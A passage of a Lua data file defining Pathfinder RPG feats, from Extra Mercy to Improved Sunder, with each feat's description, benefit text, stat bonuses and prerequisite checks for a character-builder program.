if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Lay on Hands") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Extra Mercy",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="Your lay on hands ability adds an additional mercy.",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="Select one additional mercy for which you qualify. When you use lay on hands to heal damage to one target, it also receives the additional effects of this mercy.",
},
},
Bonuses={
{
Category="ABILITYPOOL",
Formula=Formula("1"),
Variables={
"Mercy",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Lay on Hands", "Mercy") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Extra Performance",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="You can use your bardic performance ability more often than normal",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="You can use bardic performance for 6 additional rounds per day.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("6"),
Variables={
"BardicPerformanceDuration",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Bardic Performance") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Extra Rage",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="You can use your rage ability more than narmal.",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="You can rage for 6 additional rounds per day.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("6"),
Variables={
"RageDuration",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Rage") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Far Shot",
Category="FEAT",
Description={
Format="You are more accurate at longer ranges.",
},
SourcePage="p.124",
Abilities={
{
Category="Internal",
Nature="AUTOMATIC",
Names={
"Tracker ~ Range Penalty",
},
},
},
Benefits={
{
FormatString="You only suffer a -1 penalty per full range increment between you and your target when using a ranged weapon.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("1"),
Type={
Name="Base",
},
Variables={
"RangePenaltyValue",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Point-Blank Shot" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Fleet",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="You are faster than most.",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="While you are wearing light or no armor, your base speed increases by 5 feet. You lose the benefits of this feat if you carry a medium or heavy load.",
},
},
Bonuses={
{
Category="MOVEADD",
Formula=Formula("5"),
Conditions={
function (character, item, sources)
return (character.Variables["ENCUMBERANCE"] < 1) and (character.Variables["var(\"COUNT[EQTYPE.ARMOR.EQUIPPED.IS.MEDIUM]\")"] < 1) and (character.Variables["var(\"COUNT[EQTYPE.ARMOR.EQUIPPED.IS.HEAVY]\")"] < 1)
end,
},
Variables={
"TYPE.Walk",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Forge Ring",
Category="FEAT",
Description={
Format="You can create magic rings.",
},
SourcePage="p.124",
Benefits={
{
FormatString="You can create magic rings. Crafting a ring takes 1 day for each 1,000 gp in its base price. To craft a ring, you must use up raw materials costing half of the base price. See the magic item creation rules in Chapter 15 for more information. You can also mend a broken ring if it is one that you could make. Doing so costs half the raw materials and half the time it would take to forge that ring in the first place.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(7))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 7)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Gorgon's Fist",
Category="FEAT",
Description={
Format="With one well-placed blow, you leave your target reeling.",
},
SourcePage="p.124",
Benefits={
{
FormatString="As a standard action, make a single unarmed melee attack against a foe whose speed is reduced (such as from Scorpion Style). If the attack hits, you deal damage normally and the target is staggered until the end of your next turn unless it makes a Fortitude saving throw (DC 10 + 1/2 your character level + your Wis modifier). This feat has no effect on targets that are staggered.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
if ability.Name == "Scorpion Style" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Great Cleave",
Category="FEAT",
Description={
Format="You can strike many adjacent foes with a single blow.",
},
SourcePage="p.124",
Benefits={
{
FormatString="As a standard action, you can make a single attack at your full base attack bonus against a foe within reach. If you hit, you deal damage normally and can make an additional attack (using your full base attack bonus) against a foe that is adjacent to the previous foe and also within reach. If you hit, you can continue to make attacks against foes adjacent to the previous foe, so long as they are within your reach. You cannot attack an individual foe more than once during this attack action. When you use this feat, you take a -2 penalty to your Armor Class until your next turn.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Cleave" then return true end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 4
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Great Fortitude",
Category="FEAT",
Description={
Format="You are resistant to poisons, diseases, and other deadly maladies.",
},
SourcePage="p.124",
Benefits={
{
FormatString="You get a +2 bonus on all Fortitude saving throws.",
},
},
Bonuses={
{
Category="SAVE",
Formula=Formula("2"),
Variables={
"Fortitude",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Greater Bull Rush",
Category="FEAT",
Description={
Format="Your bull rush attacks throw enemies off balance.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to bull rush a foe. This bonus stacks with the bonus granted by Improved Bull Rush. Whenever you bull rush an opponent, his movement provokes attacks of opportunity from all of your allies (but not you).",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_BullRush",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Bull Rush" then return true end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Disarm",
Category="FEAT",
Description={
Format="You can knock weapons far from an enemy's grasp.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to disarm a foe. This bonus stacks with the bonus granted by Improved Disarm. Whenever you successfully disarm an opponent, the weapon lands 15 feet away from its previous wielder, in a random direction.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Disarm",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
if ability.Name == "Improved Disarm" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Feint",
Category="FEAT",
Description={
Format="You are skilled at making foes overreact to your attacks.",
},
SourcePage="p.125",
Benefits={
{
FormatString="Whenever you use feint to cause an opponent to lose his Dexterity bonus, he loses that bonus until the beginning of your next turn, in addition to losing his Dexterity bonus against your next attack.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
if ability.Name == "Improved Feint" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Grapple",
Category="FEAT",
Description={
Format="Maintaining a grapple is second nature to you.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to grapple a foe. This bonus stacks with the bonus granted by Improved Grapple. Once you have grappled a creature, maintaining the grapple is a move action. This feat allows you to make two grapple checks each round (to move, harm, or pin your opponent), but you are not required to make two checks. You only need to succeed at one of these checks to maintain the grapple.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Grapple",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Grapple" then return true end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Overrun",
Category="FEAT",
Description={
Format="Enemies must dive to avoid your dangerous move.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to overrun a foe. This bonus stacks with the bonus granted by Improved Overrun. Whenever you overrun opponents, they provoke attacks of opportunity if they are knocked prone by your overrun.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Overrun",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Overrun" then return true end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Penetrating Strike",
Category="FEAT",
Description={
Format="Your attacks with your chosen weapon penetrate the defenses of most creatures.",
},
SourcePage="p.125",
Benefits={
{
FormatString="Your attacks made with weapons selected with Weapon Focus ignore up to 10 points of damage reduction. This amount is reduced to 5 points for damage reduction without a type (such as DR 10/-).",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Penetrating Strike" then return true end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["GreatPenetratingStrikeQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Shield Focus",
Category="FEAT",
Description={
Format="You are skilled at deflecting blows with your shield.",
},
SourcePage="p.125",
Benefits={
{
FormatString="Increase the AC bonus granted by any shield you are using by 1. This bonus stacks with the bonus granted by Shield Focus.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Type={
Name="Shield",
Stack=true,
},
Conditions={
function (character, item, sources)
return (character.HasEquipped(function (item) return item.IsType("Shield") end))
end,
},
Variables={
"AC",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Focus" then return true end
return false
end)
end,
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["GreatShieldFocusQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Spell Focus",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseSchool(function (character, school)
return (((stringMatch(school.Name, "ABILITY=FEAT") or stringMatch(school.Key, "ABILITY=FEAT")) and ((((stringMatch(school.Name, "Spell Focus") or stringMatch(school.Key, "Spell Focus")))))))
end),
},
Description={
Format="Any spells you cast from your chosen school of magic are very hard to resist.",
},
SourcePage="p.125",
Stackable=false,
Benefits={
{
FormatString="Add +1 to the Difficulty Class for all saving throws against spells from the school of magic you select. This bonus stacks with the bonus from Spell Focus.",
},
},
Bonuses={
{
Category="DC",
Formula=Formula("2"),
Type={
Name="SpellFocus",
},
Variables={
"SCHOOL.%LIST",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Spell Focus" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Greater Spell Penetration",
Category="FEAT",
Description={
Format="Your spells break through spell resistance much more easily than most.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You get a +2 bonus on caster level checks (1d20 + caster level) made to overcome a creature's spell resistance. This bonus stacks with the one from Spell Penetration.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Spell Penetration" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Greater Sunder",
Category="FEAT",
Description={
Format="Your devastating strikes cleave through weapons and into their wielders, damaging both item and wielder alike in a single terrific strike.",
},
SourcePage="p.125",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to sunder an item. This bonus stacks with the bonus granted by Improved Sunder. Whenever you sunder to destroy a weapon, shield, or suit of armor, any excess damage is applied to the item's wielder. No damage is transferred if you decide to leave the item with 1 hit point.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Sunder",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Sunder" then return true end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Trip",
Category="FEAT",
Description={
Format="You can make free attacks on foes that you knock down.",
},
SourcePage="p.126",
Benefits={
{
FormatString="You receive a +2 bonus on checks made to trip a foe. This bonus stacks with the bonus granted by Improved Trip. Whenever you successfully trip an opponent, that opponent provokes attacks of opportunity.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Trip",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
if ability.Name == "Improved Trip" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Two-Weapon Fighting",
Category="FEAT",
Description={
Format="You are incredibly skilled at fighting with two weapons at the same time.",
},
SourcePage="p.126",
Benefits={
{
FormatString="You get a third attack with your off-hand weapon, albeit at a -10 penalty.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Variables={
"SECONDARYATTACKS",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Two-Weapon Fighting" then return true end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 19) or (character.Variables["FeatDexRequirement"] >= 19)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Vital Strike",
Category="FEAT",
Description={
Format="You can make a single attack that deals a tremendous amount of damage.",
},
SourcePage="p.126",
Benefits={
{
FormatString="When you use the attack action, you can make one attack at your highest base attack bonus that deals additional damage. Roll the weapon's damage dice for the attack four times and add the results together before adding bonuses from Strength, weapon abilities (such as flaming), precision-based damage, and other damage bonuses. These extra damage dice are not multiplied on a critical hit, but are added to the total.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Vital Strike" then return true end
if ability.Name == "Vital Strike" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 16
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Weapon Focus",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return (((stringMatch(weapon.Name, "ABILITY=FEAT") or stringMatch(weapon.Key, "ABILITY=FEAT")) and ((((stringMatch(weapon.Name, "Weapon Focus") or stringMatch(weapon.Key, "Weapon Focus")))))))
end),
},
Description={
Format="You are a master at your chosen weapon.",
},
SourcePage="p.126",
Stackable=false,
Benefits={
{
FormatString="You gain a +1 bonus on attack rolls you make using the selected weapon. This bonus stacks with other bonuses on attack rolls, including those from Weapon Focus.",
},
},
Bonuses={
{
Category="WEAPONPROF=%LIST",
Formula=Formula("GreaterWeaponFocusToHit"),
Variables={
"TOHIT",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["GreatWeapFocusQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Greater Weapon Specialization",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return (((stringMatch(weapon.Name, "ABILITY=FEAT") or stringMatch(weapon.Key, "ABILITY=FEAT")) and ((((stringMatch(weapon.Name, "Weapon Specialization") or stringMatch(weapon.Key, "Weapon Specialization")))))))
end),
},
Description={
Format="You deal extra damage when using your chosen weapon.",
},
SourcePage="p.126",
Stackable=false,
Benefits={
{
FormatString="You gain a +2 bonus on all damage rolls you make using the selected weapon. This bonus to damage stacks with other damage roll bonuses, including any you gain from Weapon Specialization.",
},
},
Bonuses={
{
Category="WEAPONPROF=%LIST",
Formula=Formula("2"),
Variables={
"DAMAGE",
},
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Greater Weapon Focus" then return true end
if ability.Name == "Weapon Focus" then return true end
if ability.Name == "Weapon Specialization" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["GreatWeapSpecQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Heighten Spell",
Category="FEAT",
AddedSpellLevels=1,
Description={
Format="You can cast spells as if they were a higher level.",
},
SourcePage="p.126",
Abilities={
{
Category="FEAT",
Nature="AUTOMATIC",
Types={
"Heighten Spell",
},
},
},
Benefits={
{
FormatString="A heightened spell has a higher spell level than normal (up to a maximum of 9th level). Unlike other metamagic feats, Heighten Spell actually increases the effective level of the spell that it modifies. All effects dependent on spell level (such as saving throw DCs and ability to penetrate a lesser globe of invulnerability) are calculated according to the heightened level. The heightened spell is as difficult to prepare and cast as a spell of its effective level.",
},
},
Bonuses={
{
Category="DC",
Formula=Formula("1"),
Variables={
"FEATBONUS",
},
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Heightened +1",
},
})
DefineAbility({
Name="Improved Bull Rush",
Category="FEAT",
Description={
Format="You are skilled at pushing your foes around.",
},
SourcePage="p.126",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing a bull rush combat maneuver. In addition, you receive a +2 bonus on checks made to bull rush a foe. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to bull rush you.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_BullRush",
"CMD_BullRush",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Channel",
Category="FEAT",
Description={
Format="Your channeled energy is harder to resist.",
},
SourcePage="p.126",
Benefits={
{
FormatString="Add 2 to the DC of saving throws made to resist the effects of your channel energy ability.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"ClericChannelPositiveEnergyDC",
},
},
{
Category="VAR",
Formula=Formula("2"),
Variables={
"PaladinChannelPositiveEnergyDC",
},
},
{
Category="VAR",
Formula=Formula("2"),
Variables={
"ClericChannelNegativeEnergyDC",
},
},
{
Category="VAR",
Formula=Formula("2"),
Variables={
"PowerOverUndeadCommandDC",
},
},
{
Category="VAR",
Formula=Formula("2"),
Variables={
"PowerOverUndeadTurnDC",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Positive Energy", "Channel Negative Energy") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Counterspell",
Category="FEAT",
Description={
Format="You are skilled at countering the spells of others using similar spells.",
},
SourcePage="p.126",
Benefits={
{
FormatString="When counterspelling, you may use a spell of the same school that is one or more spell levels higher than the target spell.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Critical",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return ((character.IsProficientWith(weapon)))
end),
},
Description={
Format="Attacks made with your chosen weapon are quite deadly.",
},
SourcePage="p.127",
Benefits={
{
FormatString="When using the weapon you selected, your threat range is doubled.",
},
},
Bonuses={
{
Category="WEAPONPROF=%LIST",
Formula=Formula("1"),
Type={
Name="NonStackingCrit",
},
Variables={
"CRITRANGEDOUBLE",
},
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 8
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improved Disarm",
Category="FEAT",
Description={
Format="You are skilled at knocking weapons from a foe's grasp.",
},
SourcePage="p.127",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing a disarm combat maneuver. In addition, you receive a +2 bonus on checks made to disarm a foe. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to disarm you.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Disarm",
"CMD_Disarm",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Familiar",
Category="FEAT",
Description={
Format="This feat allows you to acquire a powerful familiar, but only when they could normally acquire a new familiar.",
},
SourcePage="p.127",
Abilities={
{
Category="Internal",
Nature="AUTOMATIC",
Names={
"Improved Familiar List",
},
},
},
Benefits={
{
FormatString="When choosing a familiar, the creatures listed below are also available to you (see the Pathfinder RPG Bestiary for statistics on these creatures). You may choose a familiar with an alignment up to one step away on each alignment axis (lawful through chaotic, good through evil).",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Feint",
Category="FEAT",
Description={
Format="You are skilled at fooling your opponents in combat.",
},
SourcePage="p.127",
Benefits={
{
FormatString="You can make a Bluff check to feint in combat as a move action.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Grapple",
Category="FEAT",
Description={
Format="You are skilled at grappling opponents.",
},
SourcePage="p.127",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing a grapple combat maneuver. In addition, you receive a +2 bonus on checks made to grapple a foe. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to grapple you.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Grapple",
"CMD_Grapple",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Great Fortitude",
Category="FEAT",
Description={
Format="You can draw upon an inner reserve to resist diseases, poisons, and other grievous harm.",
},
SourcePage="p.127",
Benefits={
{
FormatString="Once per day, you may reroll a Fortitude save. You must decide to use this ability before the results are revealed. You must take the second roll, even if it is worse.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Great Fortitude" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Initiative",
Category="FEAT",
Description={
Format="Your quick reflexes allow you to react quickly to danger.",
},
SourcePage="p.127",
Benefits={
{
FormatString="You get a +4 bonus on initiative checks.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("4"),
Variables={
"INITIATIVE",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improved Iron Will",
Category="FEAT",
Description={
Format="Your clarity of thought allows you to resist mental attacks.",
},
SourcePage="p.127",
Benefits={
{
FormatString="Once per day, you may reroll a Will save. You must decide to use this ability before the results are revealed. You must take the second roll, even if it is worse.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Iron Will" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Lightning Reflexes",
Category="FEAT",
Description={
Format="You have a knack for avoiding danger all around you.",
},
SourcePage="p.127",
Benefits={
{
FormatString="Once per day, you may reroll a Reflex save. You must decide to use this ability before the results are revealed. You must take the second roll, even if it is worse.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Lightning Reflexes" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Improved Overrun",
Category="FEAT",
Description={
Format="You are skilled at running down your foes.",
},
SourcePage="p.127",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing an overrun combat maneuver. In addition, you receive a +2 bonus on checks made to overrrun a foe. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to overrun you. Targets of your overrun attempt may not chose to avoid you.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Overrun",
"CMD_Overrun",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Precise Shot",
Category="FEAT",
Description={
Format="Your ranged attacks ignore anything but total concealment and cover.",
},
SourcePage="p.128",
Benefits={
{
FormatString="Your ranged attacks ignore the AC bonus granted to targets by anything less than total cover, and the miss chance granted to targets by anything less than total concealment. Total cover and total concealment provide their normal benefits against your ranged attacks.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Point-Blank Shot" then return true end
if ability.Name == "Precise Shot" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 19) or (character.Variables["FeatDexRequirement"] >= 19)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improved Shield Bash",
Category="FEAT",
Description={
Format="You can protect yourself with your shield, even if you use it to attack.",
},
SourcePage="p.128",
Benefits={
{
FormatString="When you perform a shield bash, you may still apply the shield's shield bonus to your AC.",
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Sunder",
Category="FEAT",
Description={
Format="You are skilled at damaging your foes' weapons and armor.",
},
SourcePage="p.128",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing a sunder combat maneuver. In addition, you receive a +2 bonus on checks made to sunder an item. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to sunder your gear.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Sunder",
"CMD_Sunder",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
